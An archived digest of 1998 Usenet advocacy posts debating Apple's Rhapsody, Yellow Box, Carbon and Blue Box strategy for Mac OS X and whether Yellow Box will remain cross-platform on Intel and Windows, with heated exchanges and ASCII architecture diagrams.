on Intel along with PPC, and YB on 97/NT AND PPC in speed
is the same factor of X faster as a factor of X or X-n in cost
everyone of my clients could be convinced to purchase PPC.
But Apple also would have to release hardware specs to
the Linux, MkLinux, FreeBSD crowds for this to be a complete
win-win sell at least for my clients.
> >Both of these selling points (less power for same performance,
> >and more performance in single box) are very important to
> >some people (also less systems to maintain).
>
> But not to the majority of people who couldn't give a flying ....
about the
> power they use. They want a CHEAP computer up-front.
Since when was the majority of people who didn't give a flying ....
buying Mac's? I say never. This is why Apple can sell Rhapsody
for Intel & YB on 95/NT so all those folks who don't give a flying ....
can have everything the Mac has (just about)
> >I tell you now if you dump YB on mach on Intel for any reason
> >it will clearly be perceived that Apple doesn't believe their
> >hardware can compete on a price/performance basis with
> >Intel.
>
> It simply cant compete on a price basis! It has nothing to do with
performance.
You are right when you think of people just looking at the bottom line.
But you are absolutely full of &%*( when you consider the folks who
are looking for compute stations/desktop boxes. There are a lot of
people who care very much about performance and getting the best
bang for their buck out of a single box w/o spending 15-80K on it
and 3-5K/yr for support.. That will be Apple's market, and frankly
it is ripe PROVIDED PPC has the performance across the board
that matches the difference in purchase price.
> And at that point I'll go linux. Heck if Apple goes with
> >X for it's display there is no reason the GNUstep wouldn't be
> >able to catch up easily - they can forget about the DPS and
> >start working hard on the core API's of YB.
>
> Yeah, yeah. Go on, go with Linux. Its free, theres no reasonto stay
any
> longer. See you when you get back.
You can go straight to hell. I paid for NS3.x when it came out as a
full
commercial developer I might add - on every version. I balked on
4.x because I got stiffed too many times NS3.0, NS3.1, NS3.2, NS3.3
and the price became too high and my clients were dissappearing.
I coughed up for developer way before the 6month free ride Apple
offered last August. I'll probably kick in again for the next year.
I'll be purchasing or figuring out how to support the developers
that have made awsome products. I HAVE to listen to my clients
and many of them are fleeing to Intel/NT and Linux like mad, or have
already gone that route for various reasons. In fact I encouraged
them to do so because their end costs and flexibility were much
more than staying with SGI/IRIX, or Openstep, or any other vendor.
That was just the plain truth. I encouraged x86 because OS's
that cover 95+% of the market run there. Can the same be said
for any other CPU? This even neglects the price/performance
point being quite good now.
> >Any hint of this and Apple has lost a developer and a User.
> >I absolutely won't be buying into a company that is forcing
> >people to move to their proprietary closed systems - (i.e. PPC
> >to get MacOS X). I don't care how fricken great you think
> >your stuff is. I won't support a MS wanna-be..
>
> I wish I lived in a black-and-white world like this. Apple surviving
is more
> important to me than getting Rhapsody on Intel (though it is
inevitable I
> believe, since it simply means an order of magnitude more sales, more
developers
> coming on board and less R and D for Apple). I also hope that Apple
allows
> third-party support for PPC hardware at that stage so I wont be
locked into
> Intels offerings. Rhapsody everywhere...in a timely manner.
>
This is business simple fact. I have tried very hard to be loyal
to NeXT & ..Step. I will still try to convert folks. But there were
no solid compelling reasons for my clients to stick with ..step.
There were many compelling reasons to go to MS and stay
with Intel. It will be a very hard sell for PPC. Rhapsody on
Intel is a possibility and YB on 9x/NT is another. If these
are held open then there will be a possibility in the future
that my clients might buy PPC. If Apple closes this off my
clients will stick with Intel and either 9x/NT or Linux.
If this is black and white then i'm thankful my choices are
clear. I hope that Apple gets the hint that it is black and white
and they have a way to make shades of gray if they will only
start pushing it like they should. Hopefully MacOS folks
can be educated enough so that Apple can really start
the fireworks with the crossplatform YB assimiliation strategy
but because the MacOS developers are balking there is
a possibility that this plan will be put on hold or actually
shelved, and if this is true you MacOS folks can kiss
Apple good bye right now. And you don't have anywhere
else to go that you like do you. Well then start to find
the good news rather than the bad. And Buy Rhapsody
show it to your friends. Tell them about YB and the apps
they can try/buy and still have 9x/NT all along the way.
All I have to say to the MacOS folks is get educated and
quit fucking whinning and start talking up YB, and buy
Rhapsody PPC/Intel. At least give it a chance. Also
let Apple know they can start the assimation of 9x/NT
users and not be afraid if they start trumping up YB
and Rhapsody for Intel. Stick your money where your mouth
is. As to the old MacOS developers frankly I would hope
they could be made to see the YB light - hopefully Apple
will help them with an annoucement of YB support on 98/NT5,
and possibly a painless Carbon to YB porting strategy.
If the big players don't get of their duffs and help make YB
the crossplatform API that Apple wants it to be and the
MacOS folks start buying Rhapsody then you all can kiss
your smug Apple arses good bye.
Steve and Apple are betting the farm on YB and if we all
don't give them some credit and support then we all are to
blame for a great technology (YB) going down the toilet. But
Apple has to give something back too. Honest evaluations,
up front announcements and follow through on support for
YB across archs - for now I'll be happy for Rhapsody/YB
on Mach on Intel and YB support for 98/NT5 for the forseeable
future (past yr 2000). In the future if the YB API starts taking
off then they'd do well to port or induce ports of YB all over
the place.. Then I'm sure all the players would start coming
on board just as the players are coming on board with Java.
> Tim Priest
>
>
--
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: Ralph Elliott <re@sys.uea.ac.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 22:29:54 +0100
Organization: School of Info Systems, UEA Norwich, UK
Message-ID: <355B6252.9AA56647@sys.uea.ac.uk>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <andyba-ya02408000R1305981604580001@news>
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Andy Bates wrote:
> Why would you need backwards-compatibility for Mac applications on Intel?
> You don't. Mac OS X is Rhapsody for PPC + Carbon.
OK, I'll buy that -- especially now I've seen the slides from WWDC and Jorg
Brown's diagram. (On reflection, my "half-truth" was certainly too harsh, more
like 5/6ths-truth perhaps.)
> Rhapsody for Intel is
> still Rhapsody for Intel.
Indeed, although there seems to be an increasing level of doubt as to how long it
will go on being so.
-Ralph Elliott
--
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon built on top of YellowBox?
Date: Wed, 13 May 1998 16:11:39 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1305981611390001@dante.eng.uci.edu>
References: <35594B50.B0DF00FC@iphysiol.unil.ch> <6jch0m$1cc$18@ironhorse.plsys.co.uk> <1d8zle5.111ljjd1f5xqfuN@quern.demon.co.uk>
In article <1d8zle5.111ljjd1f5xqfuN@quern.demon.co.uk>,
jonathan@quern.demon.co.uk (Jonathan Sanderson) wrote:
>mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
>> In <35594B50.B0DF00FC@iphysiol.unil.ch> Sean Hill wrote:
>> > Carbon built on top of YellowBox?
>> >
>> No: Carbon runs alongside YellowBox.
>
>[scratches head, trying to remember anything much from dim and distant
>coding days. Eventually decides that FortranIV probably isn't very
>relevant to modern OS underpinnings, but asks anyway...]
>
>Does that mean that MacOS X would run two completely separate versions
>of - say - QuickTime? That is, one in Carbon and one in Yellow? (then
>another one under Blue...).
It would likely run one that would cover YB and Carbon and another under
Blue. I don't see Blue's services getting proxied, but I can see Carbon's,
considering the timeframe.
This is my thinking, ignoring the fact that QT is likely a special case as
it now is beginning to seem that _it_ is what makes Carbon magic happen.
>Would that be:
> a. Cleverly pragmatic
If it shares one service, yes.
> b. Inelegant
If it does not share.
> d. A right mess
If it does not share.
> e. Inspired, for some subtle reason which escapes me
I think Carbon rising from the bowels of QT is inspired. Makes me really
wonder where the new imaging model comes from... Furthermore, it makes me
wonder if MacOSX isn't closer to:
-------------------------------------
| | Carbon | |
| YellowBox ------------- BlueBox |
| | Quicktime | |
-------------------------------------
| BSD |
-------------------------------------
| Mach |
-------------------------------------
-Bob Cassidy
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: rhapsody dr2 for intel??!??!??!
Date: 14 May 1998 21:26:09 GMT
Organization: Michigan State University
Message-ID: <6jfnhh$15o$2@msunews.cl.msu.edu>
References: <6jdlds$o2o$2@newsfep4.sprintmail.com> <355A8F10.1D5858B4@unet.univie.ac.at>
<see-below-1405980105050001@209.24.241.190> <6jf0bk$3d2$2@diana.bcn.ibernet.es>
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Cc: jes@rednsi.com
In <6jf0bk$3d2$2@diana.bcn.ibernet.es> Josep Egea i Sanchez wrote:
> In <see-below-1405980105050001@209.24.241.190> Matthew Vaughan wrote:
> >
> > macghod@concentric.net wrote:
> >
> > > I am slightly upset that dr2 for intel was delayed by several
weeks. Dr2
> for
> > > intel was the easy part, as OS 4.2 was for intel. Plus, many
have said
> that
> > > dr2 has been ready for the pc side for months, it was dr2 for ppc
that
> was
> > > holding things up.
> >
> > I think this is totally false. If that were the case, why would
they
> > release it _after_ the PPC version? I can see them holding it up
and
> > releasing it at the same time, but I don't see sufficient evidence
to
> > suggest that it was actually ahead of the PPC version in the
development
> > process.
>
> I can't know whether it is true or false. But if you need a reason
for Apple
> to delay DR2 Intel, it could perfectly be the same that applied to
DR1 Intel.
> (and DR1 Intel progress was way ahead from DR1 PPC for obvious
reasons)
>
I think it's hard to say since they are also doing kernel work, YB
enhancements
(can you say Java) and a lot of other stuff. Surely BlueBox on PPC is
an issue
but it wouldn't be good form to release intel before PPC (not this
time). BTW:
DR2 for Intel and PPC were released at WWDC together so that tells you
something (I wish I could have been there). I'd be willing to bet
that Apple
will ship both PPC and Intel to developers together the first week of
May.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 19:00:15 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jft1v$83b$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B3804.7DC848E@milestonerdl.com> <6jfls6$7ne$1@crib.bevc.blacksburg.va.us> <355B5AC9.C702C235@milestonerdl.com>
In article <355B5AC9.C702C235@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > In article <355B3804.7DC848E@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > Nathan Urban wrote:
> > > > Here's a little exercise for you: spend some time writing a major app
> > > > in Carbon. Spend more time writing that same app in Yellow. With all
> > > > the spare time you have left, add lots of new features to the Yellow
> > > > version to boot.
> > > So that's the best you can do? Offer up that YellowBox is better?
> > > *yawn* I've seen that b4. Apple tried that with Windows 3 VS MacOS.
> > > Tell me again, how the Win 3 vs MacOS 'battle' came out?
> > Clue: Yellow and Carbon will run on the SAME system.
> Really?The Rhapsody on Intel and the present Win95/NT 4 Yellowbox systems
> run on can ALSO run Carbon? Wow!
You're obviously missing the point. Yellow and Carbon are not _competing_
with each other in the sense that Windows and MacOS were. Either one
results in Mac applications and neither needs to replace the other.
> > They are not
> > _competing_. Mac developers can choose to use _either one they prefer_
> > and have it work on MacOS X.
> So Cross-platform is dead, and carbon is as good as yellowbox.
If you want to blatantly lie about what I said, and especially _quote_
me as saying something completely different than what you claim, go
ahead -- but it's pretty immature and makes you look stupid.
But, on the off-chance that you're so simpleminded that you might
actually have not been capable of understanding what I said, let me
spell it out to you:
1. Cross-platform is not dead. Mac developers can use either Carbon
or Yellow. If they choose Carbon, it is because cross-platform is not
as important to them as other things, such as using MacOS code they
already have. If cross-platform is more important to them, then they
will choose Yellow.
2. Even if cross-platform _were_ dead, Carbon is not as good as
Yellow Box. Technically speaking, at least; for MacOS compatibility,
Carbon is obviously better than Yellow Box. Neither is the "best"
for all situations that a developer might be in. That is why Apple is
providing both. Cross-platform, leveraging existing code bases, technical
superiority of the APIs, development environment, all are issues that
developers will balance when making their choice, and that choice can
conceivably vary from project to project even for the same developer.
> > Thus, the only relevant issues left
> > become API training, code investment, what platforms are available,
> > _and_ technical superiority.
> So, cross-platform is dead.
What are you, stupid? Everything I say, you respond with "so
cross-platform is dead". It is obvious to anyone else that this
cannot be at all inferred from what I said. Note "what platforms are
available" includes cross-platform issues, so that is an issue that
is to be considered. My point in the last message, which you appear
to have completely missed, is that Carbon and Yellow aren't going to be
_fighting_ each other like Windows vs. MacOS -- it's a win-win
situation, developers use whatever is best for them. For some, the
technical superiority and cross-platform ability of Yellow will be the
stronger factors. For others, an existing code base and a need to sell
to pre-OS X users will outweigh those factors, and they will instead
choose Carbon. It's not a "fight for dominance of the desktop" like
Windows vs. MacOS was. You can only run one OS on your computer at once
(usually). You can run things developed with multiple APIs at once.
> > There are lots of reasons why Windows 3 won out over MacOS -- price of
> > Intel hardware, for one, acceptance of IBM PC-compatible machines in
> > businesses for two -- that have absolutely nothing to do with the Carbon
> > vs. Yellow choice.
> There is no choice. Carbon has been declared a PPC only API.
You're just a broken record with a one-track mind. There is more to
life than cross-platform capability.
There _is_ a Carbon-vs-Yellow choice for developers. With one, they
sacrifice the cross-platform capabilities. But it may be _worth it_
to many developers.
> > Your logical faculties are clearly lacking if you
> > think that the factors at work in the Windows 3 vs. MacOS competition are
> > at all relevant to choosing Carbon or Yellow Box for your Mac development.
> So here you admit to the lack of a credible cross-platform plan.
What the @#%@#! is your problem?? I said NOTHING AT ALL in the sentence
you quoted about either _having_ or _lacking_ a cross-platform plan.
I said that the factors at work in the Windows 3 vs. MacOS competition
ARE NOT AT ALL RELEVANT to choosing Carbon or Yellow Box for your Mac
development. THAT IS TRUE, and has nothing to do with Apple having or
lacking a "credible cross-platform plan". Cross-platform issues were not
at all involved in the Windows 3 vs. MacOS competition, and the issues
involved in that competition (e.g., as mentioned before, relative costs
of hardware, business acceptance of PC-compatibles) have nothing to do
with reasons why a Mac developer should choose Carbon or Yellow Box.
Your analogy was completely bogus and I was pointing that out, and
somehow you decided to construe that as "evidence that Apple has no
cross-platform plan" -- just like you construe _everything_ said by
_anyone_, relevant to cross-platform issues or not.
> If I wanted MACINTOSH development, why would I CARE about NT 5.x
> compatibility?
I am talking about developers in general, not _you_ in particular.
> > You're not a developer, are you? A developer would have more of a clue
> > about APIs.
> I'm someone who cares about a market for my work. One that extends beyond the
> NICHE that Apple now has.
Then use Yellow and shut up. Or switch to MFC. Or Java. Or whatever
floats your boat.
Remeber what this whole thread was about when you interrupted it? Someone
said there's no reason to use Yellow over Carbon if cross-platform is
available for Yellow. Now, if cross-platform isn't available for Yellow,
there's no reason for someone interesting in developing for Windows to
use _either_. But there are still plenty of reasons to use Yellow over
Carbon -- obviously on MacOS X, since that's what both of them would
run on if Yellow were hypothetically not available cross-platform.
In other words, someone said that there are no advantages of Yellow over
Carbon other than cross-platform, I said that there were, and you turned
the thread into yet another whinefest about cross-platform capabilities
-- when the thread was really about the advantages of Yellow over Carbon
_other_ than cross-platform capabilities, and nothing said by any of us,
other than you, had to do with whether Apple has a cross-platform plan;
the whole point of the thread was to discuss how Yellow compared to
Carbon in ways _other_ than cross-platform ability.
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: This is more like it....information
Date: Thu, 14 May 1998 11:43:50 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Esy392.6Lo@AWT.NL>
References: <3559973E.12D2EC2C@milestonerdl.com> <1d8yp5c.szkb0i1r0pkk0N@p068.intchg1.net.ubc.ca> <3559D3C6.EDED0057@milestonerdl.com> <6jcu6g$4oe$1@crib.bevc.blacksburg.va.us>
nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
>In article <3559D3C6.EDED0057@milestonerdl.com>, mark@milestonerdl.com
wrote:
>
>> Except the macosrumors(?) bit that BSDUnix was not part of MacOS X.
>
>> So the below graphic shows whats possible? What will be there? Or, what
>> will ship?
>
>My guess is that the diagram shows what will ship, and that the "BSD
>Unix" part refers to the BSD kernel and such, but probably not all of
>the standard Unix utils, which would reconcile the diagram with what
>Rumors has said -- it depends on what you're calling "BSD".
Maybe this is a better picture:
[First iteration:]
Old MacOS
apps
|
BlueBox MacOS X YB shells &
app apps apps CLI apps
| | | |
| carbon yellow_box |
| | | |
| | | |
________________________________________
shared system services, including
POSIX API, parts of the BSD API
________________________________________
core OS meaning:
scheduler, memory management, etc.
The Blue Box is an *app* implemented using the shared system services, which
may include POSIX calls, Mach calls, BSD calls, most of which in term might
be implemented using Mach kernel access. Old MacOS apps run inside the
BlueBox app. The BlueBox app might be implemented using Carbon (sounds
logical), in which case we get:
[Second iteration:]
Old MacOS
apps
|
BlueBox MacOS X YB shells &
app apps apps CLI apps
| | | |
----------- | |
| | |
carbon yellow box |
| | |
________________________________________
shared system services, including
POSIX API, parts of the BSD API
________________________________________
core OS meaning:
scheduler, memory management, etc.
A large part of carbon and YB might be shared access to stuff like event
handling, window creation, threads and such, all part of the 'shared system
services'. If this is true (which would be logical from a design part of
view), then YB now is not what is used to stand for, because part of what we
used to call YB, now is 'shared services'. Apple has a lot to win after all
if they rationalize to the max. In that case, we get:
[Second iteration:]
Old MacOS
apps
|
BlueBox MacOS X YB shells &
app apps apps CLI apps
| | | |
----------- | |
| | |
carbon API YB API |
| | |
________________________________________
shared system services, including
POSIX API, parts of the BSD API
and most of the former YB, in terms
of window, thread, foundation etc.
________________________________________
core OS meaning:
scheduler, memory management, etc.
Even this picture is not perfect, as we could implement CLI apps that access
the YB API or the carbon API. Remember stuff like the ShellText utilities
under NEXTSTEP, which are cli apps (run from the command line) which produce
YB-like stuff so someone scripting an installer package can present the user
with menus and panels and such.
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 17:29:08 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B7034.DB4FE5B8@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B3804.7DC848E@milestonerdl.com> <6jfls6$7ne$1@crib.bevc.blacksburg.va.us> <355B5AC9.C702C235@milestonerdl.com> <6jft1v$83b$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> Remeber what this whole thread was about when you interrupted it?
Mr. Lawson started it, "So that's it?" mentioned the stripping of the 'bad' calls,
points out Rhapsody is a framework and asks what the $400 bought.
I then said "If carbon is now the future"....and concluded my YellowBox questions
were answered.
My question HAS been if Apple has any plans for NT 5.x/98. Because, without a plan
for NT 5.x/98, any talk of cross-platform long-term viabilty is void. And anyone
who is foolish enough to believe otherwise will have to settle to a forced migration
to a PPC environment when Apple stops Intel YellowBox.
If there some Apple URL, paper or, well ANYTHING to disprove NT 5.x/98 support, then
I won't have to ask about it, right?
> and nothing said by any of us,
> other than you, had to do with whether Apple has a cross-platform plan;
> the whole point of the thread was to discuss how Yellow compared to
> Carbon in ways _other_ than cross-platform ability.
So, cross-platform doesn't matter then?
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: 14 May 1998 23:21:57 GMT
Organization: P & L Systems
Message-ID: <6jfual$1cc$32@ironhorse.plsys.co.uk>
References: <6jatq7$72e$1@xmission.xmission.com> <3559089F.C8BDFAD1@milestonerdl.com>
<3559173D.1A44DBFA@unet.univie.ac.at> <35597B98.E031BF17@milestonerdl.com>
<6jcc8t$479$1@crib.bevc.blacksburg.va.us> <3559AAE5.820270F0@milestonerdl.com>
<6jcjqp$1cc$23@ironhorse.plsys.co.uk> <3559D08E.CC749854@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <3559D08E.CC749854@milestonerdl.com> M Rassbach wrote:
> > (b) Why should YB not work on 98 / NT5?
>
> Again, Microsoft-centric applications have a history of breaking at the
time of
> a Microsoft OS upgrade. What is Apple's level of commitment? None, that I
see.
>
[...]
> Or, do you TRUST Apple?
>
OK, since you're being such a pain, I guess it's time to start betting again.
I'm willing to lay down $100 that within a year of Win98 shipping Apple has
YellowBox running on it.
Put up or shut up.
mmalc.
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 19:34:26 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1405981934260001@pelli.pathology.pitt.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <forrestDELETE-THIS!-1405981252280001@term1-21.vta.west.net> <355B473D.64D8E298@milestonerdl.com>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <355B473D.64D8E298@milestonerdl.com>, mark@milestonerdl.com wrote:
> http://www.macnn.com/macnn/reality/archives/051198/news.shtml(No word if
Rhapsody Intel will be pushed as much)
>
> Brett talked about support for
> Rhapsody in the future on multiple architectures, but again, he too
was very vague on this subject and did not specifically mention
> Intel. We believe Steve briefed these keynote speakers ahead of
time, and warned them to stay clear of the Intel situation since they
> aren't quite secure in this area.
> Brett Halle, Manager of the Core OS group
>
> So, explain the above. Esp. the 'stay clear' part.
First, there is a lot of confusion out there but one thing is BRUTALLY
CLEAR to anyone who understands what the purpose of the Mach Kernal is.
The Mach kernal is the part of the OS that talks via drivers to the
hardware NOT THE APIs. Therefore when Apple writes a new API for the
yellow box, porting to the YB/Intel is not really a big deal. What is a
big deal and something you miss in your endless rantings about Apple What
Intel Hardware will be supported? Remember there is a shit load of
variations on the Intel side and that makes creating a Mach Kernal with
all appropriate drivers sort of difficult. But if your machine is from
some reputable manufacturer like Gateway,compaq or even Dell(yuck), you
will not have to much of a problem. I am pretty sure that Intel will keep
their Mach kernal pretty up to date don't you?
peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 15:57:45 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B5AC9.C702C235@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <355B3804.7DC848E@milestonerdl.com> <6jfls6$7ne$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355B3804.7DC848E@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > Nathan Urban wrote:
>
> > > Here's a little exercise for you: spend some time writing a major app
> > > in Carbon. Spend more time writing that same app in Yellow. With all
> > > the spare time you have left, add lots of new features to the Yellow
> > > version to boot.
>
> > So that's the best you can do? Offer up that YellowBox is better?
> > *yawn* I've seen that b4. Apple tried that with Windows 3 VS MacOS.
> > Tell me again, how the Win 3 vs MacOS 'battle' came out?
>
> Clue: Yellow and Carbon will run on the SAME system.
Really?The Rhapsody on Intel and the present Win95/NT 4 Yellowbox systems run on
can ALSO run Carbon? Wow!
> They are not
> _competing_. Mac developers can choose to use _either one they prefer_
> and have it work on MacOS X.
So Cross-platform is dead, and carbon is as good as yellowbox.
> Thus, the only relevant issues left
> become API training, code investment, what platforms are available,
> _and_ technical superiority.
So, cross-platform is dead.
> There are lots of reasons why Windows 3 won out over MacOS -- price of
> Intel hardware, for one, acceptance of IBM PC-compatible machines in
> businesses for two -- that have absolutely nothing to do with the Carbon
> vs. Yellow choice.
There is no choice. Carbon has been declared a PPC only API. (that may change,
but now it's the case)
> Your logical faculties are clearly lacking if you
> think that the factors at work in the Windows 3 vs. MacOS competition are
> at all relevant to choosing Carbon or Yellow Box for your Mac development.
So here you admit to the lack of a credible cross-platform plan. If I wanted
MACINTOSH development, why would I CARE about NT 5.x compatibility?
> You're not a developer, are you? A developer would have more of a clue
> about APIs.
I'm someone who cares about a market for my work. One that extends beyond the
NICHE that Apple now has.
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Thu, 14 May 1998 19:53:44 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1405981953440001@192.168.0.3>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <rex-1405981430100001@192.168.0.3> <6jferk$7e2$1@crib.bevc.blacksburg.va.us> <rex-1405981551520001@192.168.0.3> <6jfn43$7r8$1@crib.bevc.blacksburg.va.us>
In article <6jfn43$7r8$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
:Yellow will infiltrate the Mac market from the bottom up.
Damn that sounds suspiciously similar to what folks were saying about
GX, OpenDOC, Powertalk, etc. The problem with coming from the bottom up,
is that Apple usually craps on the folks at the bottom at the behest of
the folks on the top.
-Eric
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 98 16:03:30 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B180C661-12F863@207.217.155.114>
References: <895179379.806734@kelp.mbay.net>
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nntp://news.earthlink.net/comp.sys.next.advocacy
Don McGregor wrote:
>Personally, I think someone starting a new app would do well to
>use YB, since they'll get a lot more done a lot faster. But if
>all the developers are stick-in-the-muds who insist on writing
>to old, procedural APIs, so be it.
This is a source of real confusion for people trying to understand what
makes developers tick in 1998. Most developers do not directly use much of
the procedural Mac API as provided by Apple. Instead, they use frameworks
(e.g. PowerPlant, MacApp). When dealing with individual technologies, such
as Speech Manager, it is common practice to write mini-frameworks to
simplify the high level development model and make portability and future
compatibility somewhat more possible.
Someone starting a new app should definitely consider YB _when MacOSX
ships_. Right now, however, if you start a new app with hopes of bringing
it to market by fall, you might be taking a significant risk writing to YB.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got Cyberdog? Then try Rapid-I Bookmarks. Tried it? Then buy it! Point your
Cyberdog to the Hutchings Software web site.
From: pmacvits@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 21:56:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jfp9l$gk2$1@nnrp1.dejanews.com>
References: <6jbg4l$qi3$2@canopus.cc.umanitoba.ca> <6jcn9b$6ns$2@msunews.cl.msu.edu>
ummmm...I'm not sure you get it, you misunderstood most of what I said and
continue to misunderstand that key concepts of the technology that will be
used for MacOS X. You also seem to think that I am complaining about things
that I am actually quite happy about.
>As far as we know YB is intact and getting a Java toupee :) >effectively
>there is NO reason to assume the plans laid out for YB and the Java
>part of Rhapsody are going to change dramatically for MacOS X (which I
>will also call Rhap 2.0)
Did I even imply that this wasn't so? I believe I said that MacOS X will have
the Yellow Box pretty clearly.
>Most of this is true - I think it is still uncertian whether the
>BlueBox will be Carbonized or not in MacOS X. As to not being
>available on Intel - I don't care, and I don't know any other
>die-hard MacOS/PPC person who would. They probably exist though. I
>don't think there is significant reason to do Carbon for Intel - and
>performance will probably suck. Frnakly if Apple does Carbon for
>Intel they will be slapping the YB programmers hard in the face. Get
>it once and for all. YB is where it's at - Carbon is only a
>bootstrap to get MacOS developers to come on board. I am hoping
>Apple is working on a way to get Carbon apps to YB. Then won't all
>those MacOS developers be happy!!
You just don't get it. Carbon will be a set of APIs that will be equal to
the yellow box. All Carbon applications will run in MacOS X itself. Whereas
noncarbonated mac applications will run with in the Blue Box, which will be an
emulated/run-time version of the MacOS...similar to SoftWindows or a Nintendo
emulator on a Mac.
>Yes this sucks. Cut Apple some slack here. I'm not a MacOS
>programmer but I'm sure the cruft that is being cut out is important
>to have the buzzwords. Do you want seamless Multicpu support? Do you
>want preemptive multitasking? Do you want true memory protection?
>Then shut the heck up and take the lump. I think Apple is doing the
>best it can here - and everyone is fricking griping..
What the heck are you talking about here? What does this have to do with
Apple possibly not supporting 603/604s? Did I gripe about not being able to
run Rhapsody or MacOS X on my 601 based 6100? no, I accepted that as the
penalty for being an early adopter, but the possibity that my 604e machine
might not be supported was, for me, unacceptable. What I had said was that if
Apple had decided not to support 604/603's with MacOS X but only with Rhapsody
1.0 then they would be using semantics to screw all the 604/603 owners into
needing a new mac to run MacOS X. Anyways, it appears that 603/604s will
probably be supported but I still won't be feel confidant until I hear them
state that all pci based macs that shipped after january 1997 would be fully
supported by MacOS X.
BTW - not that your rambleings about hardware had any validity anyways, if
apple were to only support G3 macs...forget about multiprocessor support until
the G4s are out, because G3s don't do that multiprocessor thang.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Vik Rubenfeld <VikR@aol.com>
Newsgroups: comp.sys.next.advocacy
Subject: Mac OS X - Just Another Smokescreen?
Date: Thu, 14 May 1998 15:14:52 -0700
Organization: All USENET -- http://www.Supernews.com
Message-ID: <355B6CDA.3D3BEB84@aol.com>
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In an article on MacIntouch today (at
